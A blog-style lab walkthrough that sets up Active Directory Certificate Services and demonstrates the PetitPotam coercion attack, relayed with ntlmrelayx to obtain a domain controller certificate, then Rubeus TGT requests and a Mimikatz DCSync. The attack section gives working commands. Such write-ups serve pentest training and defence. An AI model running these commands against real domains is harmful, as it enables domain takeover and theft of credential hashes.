Petitpotam is a vulnerability that allows a domain user to take over domain controllers through triggering authentications using the MS-EFSRPC protocol.
The vulnerability lies in the insufficient path checks in the EfsRpcOpenFileRaw function of the EFSRPC API that allows an attacker to pass any value in its fileName parameter, such as an attacker’s IP address, to coerce an authentication from the targeted hosts.
Figure 1 — EfsRpcOpenFileRaw function in EFSRPC API
In order for an attacker to take over the domain controller, they need to use this vulnerability with an NTLM relay attack to capture the required hashes or certificates. Great targets for this attack are the servers configured to accept NTLM authentications, such as Active Directory Certificate Services (AD CS), when the Web Enrollment roles are installed.
A typical attack scenario would be forcing the domain controller to authenticate to the attacker machine that is configured with an NTLM relay. Then the authentication is relayed to the Certificate Authority (CA) to request a certificate. When the certificate is generated for the DC machine, the attacker captures it with the NTLM relay and uses it to impersonate the DC account.
The DC certificate can be used to generate the TGT ticket and authenticate to the domain controller without credentials. Furthermore, the attacker can expand their attack surface to perform other attacks as DCSync and retrieve all the domain hashes for the ultimate takeover.
In this post, we will set up the attack lab and demonstrate the steps needed to exploit the vulnerability successfully. Initially, I wanted to include the attack demonstration steps only. However, I didn’t find many posts about setting up the actual lab to perform the attack, so I thought I would include the lab configuration part for clarity.
📄 Key Concepts
- Vulnerability Overview
- Architecture & Lab Setup
- Attack Requirements
- Used Tools
- Attack steps
💻 Architecture & Lab Setup
The attack lab consists of four (4) machines, a domain controller (DC01), a certificate server (CA01) with Web Enrollment services installed, an attacking machine, and a workstation (WS01).
- Windows Server 2016 as Domain Controller ( DC01)
- Windows Server 2016 as Certificate Server (CA01)
- Windows 10 Workstation (WS01).
- Kali Linux — attack machine.
◼️ Domain Controller Setup (DC01)
The domain controller is set up with default configurations; to set it up, follow the Cybermentor walkthrough video — How to Build an Active Directory Hacking Lab. It is straightforward.
◼️ Certificate Authority Setup (CA01)
Install the 2016 server, add it to the domain, and point the DNS to the DC IP. In our case, the DC IP is 192.168.233.136.
Figure 2 -CA01 Server is joined to r3dbuck3t.local domain
Figure 3 — update the DNS address with the DC IP
Next, add the Active Directory Certificate Services role to create the certificate authorities to issue and manage certificates within the domain. To do that, click on add roles and features.
Figure 4 — Adding new roles to the server
The wizard would appear, choose installation type Role-Based or Feature-Based Installation, and click Next. Then, on the Server Roles page, select Active Directory Certificate Authority.
Figure 5- selecting Active Directory Certificate Service for Certificate configuration
Under the AD CS option, select additional roles for the web enrollment services.
- Certification Authority
- Certificate Enrollment Policy Web Service
- Certificate Enrollment Web Service
- Certification Authority Web Enrollment
Click Next and continue to the confirmation page. On the confirmation page, select Install to set up the services.
Figure 7 — confirmation page which is the last page in the wizard
After the installation, run the Post-Deployment Configuration Wizard by selecting Configure Active Directory Certificate Services.
Figure 8 - Post-deployment configurations
To install the Enterprise role services needed for the Enterprise certificates; the logged user needs to belong to the Enterprise Admins group. For example, below, the user administrator — “r3dbuck3t\Administrator” is an Enterprise Admin.
Figure 9 — selecting the user to configure the selected role services
Next, we will configure the first 2 services “Certification Authority” and “Certification Authority Web Enrollment.”
Figure 10 — selecting the first 2 roles
Select “Enterprise CA” for the setup type and Root.
Figure 11 — selecting Enterprise CA
Figure 12 — selecting the CA type as Root CA
After selecting the CA types, create a private key for the Certificate Authority (CA) to generate the certificates and choose the hash algorithm for signing the issued certs. Usually, the cryptography type is based on the requirement of the environment. For simplicity, I selected the default — SHA256.
Figure 13 — Private Key configurations
The CA common name and Distinguished name suffix are automatically populated. You can change only the CA name to reflect the naming conventions within your domain. However, keep in mind that you can’t modify the CA common name once the configuration is complete.
For the “ Distinguished name suffix,” keep the populated fields as default.
Figure 15 — CA name configuration
Next, select the validity period of the Certificate Authority; the default is five (5) years.
Figure 16 — Certificate validity period
Keep the specified Certificate database and logs as default for the database locations, and move to the confirmation section, and click on Configure to start the configuration process.
Figure 17 — database locations for the Certificates
Figure 18 — Confirmation page
After the configuration has been completed, let’s go back to the Server Manager and rerun to the AD CS Configuration wizard to complete Certificate Enrollment for the Web Service.
Figure 19 — selecting the Certificate Enrollment Web Service role
The AD CS Configuration wizard should fill in the Target CA for you. However, click on the Select button and choose your CA if it doesn’t.
Figure 20 — selecting the certificate authority that would issue the certificates
Next, select “Windows Integrated Authentication” for the Service Account for CES and “Use the Built-in application pool identity” for the authentication type for the Certificate Enrollment Service.
Figure 21— Selecting the authentication type to login to the certificate site
IN the Service Certificate section, select the existing certificate for SSL encryption and click next to move to the confirmation section to configure the selections.
Figure 23 — specify the authentication certificate
Figure 24 — configuring the selected settings
Once the Enrollment service is configured; click Close to exit the wizard
Figure 25 — shows the successful configuration of the Certificate Enrollment Service
After the configuration is complete, reboot the server, and navigate to the web enrolment site and see if you can access it. Run the certuilt.exe command to get the server name, and add slash certsrv to access the site. In our lab, the URL is http://ca01.r3dbuck3t.local/certsrv. Connect to the site and provide the admin credentials to access it.
Figure 26 — identify the certificate server from the user’s machine
Connecting to the Web enrollment service would need to Provide the admin credentials to access the certificate enrollment site.
Figure 27 — shows authenticating to the Certificate Enrollment site
After the successful authentication, you will access the certificate Site. Copy the “Request a Certificate” link to use it later with the NTLM relay.
The needed link is http://ca01.r3dbuck3t.local/certsrv/certrqus.asp.
Figure 28 — shows a successful authentication to the site
Figure 29 — shows the URL for requesting certificates
◼ ️Kali Machine Setup
On the attacking machine, update the resolv[.]conf file for the DNS configuration with the domain controller IP. To do that, run vi
Figure 30 — updating the DNS configuration file
◼️ Workstation Setup (WS01)
After completing Windows 10 installation for the workstation, add it to the domain, and update the DNS server with the domain controller IP address.
💡Note: ensure the workstation Time is synchronized with the domain controller time to avoid issues later when requesting Kerberos tickets.
🔥 Attack Demonstration
We have compromised a domain user on the WS01 workstation and escalated our privileges to a local administrator. The machine is part of the R3dbuck3t.localdomain; I joined it to depict a real pentesting scenario. However, the attack can be carried out on non-joined machines too.
The attack steps are
1- Force the domain controller machine (DC01) to authenticate to our attacking machine (Kali) using PetitPotam exploit.
2. Relay the authentication to the Certificate Authority (CA01) to request a certificate for the DC machine.
3. Capture the generated certificate with the NTLM relay we configured on the attacking machine.
4. Use the certificate to request a TGT ticket for the domain escalation.
◼️ NTLM Relay Configuration
Start configuring the NTLM relay with the NTLMrelayx script from Impacket to set it up. The target site is the certificate enrollment site -
To perform this relay successfully, ensure that you provide the FQDN of the AD CS server. It didn’t work for me when I used the IP address instead. For the requested template, choose the “Domain Controller” template.
💡 Note: If the template is enabled, which is by default, we will be able to capture the generated certificate.
python3 ntlmrelayx.py -t http://ca01.r3dbuck3t.local/certsrv/certrqus.asp -smb2support — adcs --template DomainController
Next, we force the DC01 to authenticate to our attacking machine with the Petitpotam exploit. Running the Petitpotam exploit is very straightforward; it requires two (2) IP addresses, one for our attacking machine and the other for the domain controller.
python3 PetitPotam.py 192.168.233.131 192.168.233.136
If everything goes well, the DC will request a certificate from the CA server, and the generated certificate will be relayed to our machine.
Figure 34 — CA generated the base64 certificate for the DC machine
◼️ Domain Escalation with Rubeus
With the generated certificate, the attacker can use it to impersonate the DC account and request a Ticket Granting Ticket (TGT) to authenticate to the domain controller without credentials.
The TGT ticket is requested with Rubeus; run Powershell or cmd session with the local admin privileges, and pass it the DC IP, domain name, username, and the obtained certificate.
.\Rubeus.exe asktgt /dc:192.168.223.136 /domain:r3dbuck3t.local /user:D01$ /ptt /certificate:MIIRdQIBAz.....
Figure 35 — shows the Rubeus command to request TGT ticket
💡 Notes: use Rubeus 2.0.2 or above to complete this task; I had issues requesting the TGT with older versions.
As we see below in the screenshot, we were able to get the Krbtgt ticket without domain admin privileges.
Figure 36 — requesting TGT ticket with Rubeus
Figure 37 — shows the krbtgt ticket for the DC01 machine
◼️ DCSync Attack
From the same PowerShell session where we have our TGT ticket stored in memory, we can run Mimikatz and perform the DCSync attack to retrieve all of the domain hashes.
Figure 38 — retrieve all domain hashes with Mimikatz
We were able to get the krbtgt hash that enables us to create a golden ticket to access any service within the domain and the Administrator hash that we can use with the pass-the-hash technique and authenticate to the domain controller.
Figure 39 — shows the Krbtgt hash
That’s all for today’s post. Thanks for reading!!!
Enjoyed the article? Check out more amazing content from Nairuz Abulhul >> https://medium.com/@nairuzabulhul